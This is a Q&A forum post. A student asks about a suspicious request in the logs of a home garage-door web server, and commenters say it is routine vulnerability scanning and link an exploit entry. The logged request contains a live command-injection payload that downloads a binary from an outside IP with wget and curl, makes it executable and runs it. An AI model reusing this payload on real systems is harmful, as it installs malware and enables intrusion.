Strange get request to my web server

Asked Nov 26 '20 at 11:02

Active Nov 26 '20 at 11:46

Viewed 282 times

I recently set up a python-bottle web server for a school project to essentially open my Garage Door remotely over the internet. Recently I saw the logs had a strange get request and was wondering if anyone knows if I should be worried about this. Just looking up the ip address it appears to be from India I was also wondering if I should be concerned if I get random ips from overseas connecting to my web server in general where the log is what I would expect but the ip is from unknown source.

ex. [Random Ip] "GET /Relay HTTP/1.1" 200 0

Edit: plaintext added.

103.154.233.30 - - [26/Nov/2020 09:36:38] "GET/cgibin/kerbynetAction=x509view&Section=NoAuthREQ&User=&x509type='%0a/etc/sudo%20tar%20-cf%20/dev/null%20/dev/null%20--checkpoint=1%20--checkpoint-action=exec=%22wget%20http://198.144.190.5/bins/keksec.x86%20-O%20/tmp/.keksec.x86;curl%20http://198.144.190.5/bins/keksec.x86%20-O%20/tmp/.keksec.x86;%20chmod%20777%20/tmp/.keksec.x86;%20/tmp/.keksec.x86%22%0a' HTTP/1.1" 404 1117

edited Nov 26 '20 at 11:20

asked Nov 26 '20 at 11:02

Christian

No need to be worried, they're testing for a specific vulnerabilities. – Jeroen Nov 26 '20 at 11:18
1

"Welcome to the Internet" every IP gets scanned and probed a few times a minute – schroeder Nov 26 '20 at 11:43
To be specific, this seems to be a exploit like https://www.exploit-db.com/exploits/49096 – LvB Nov 26 '20 at 11:56

Strange get request to my web server

0 Answers0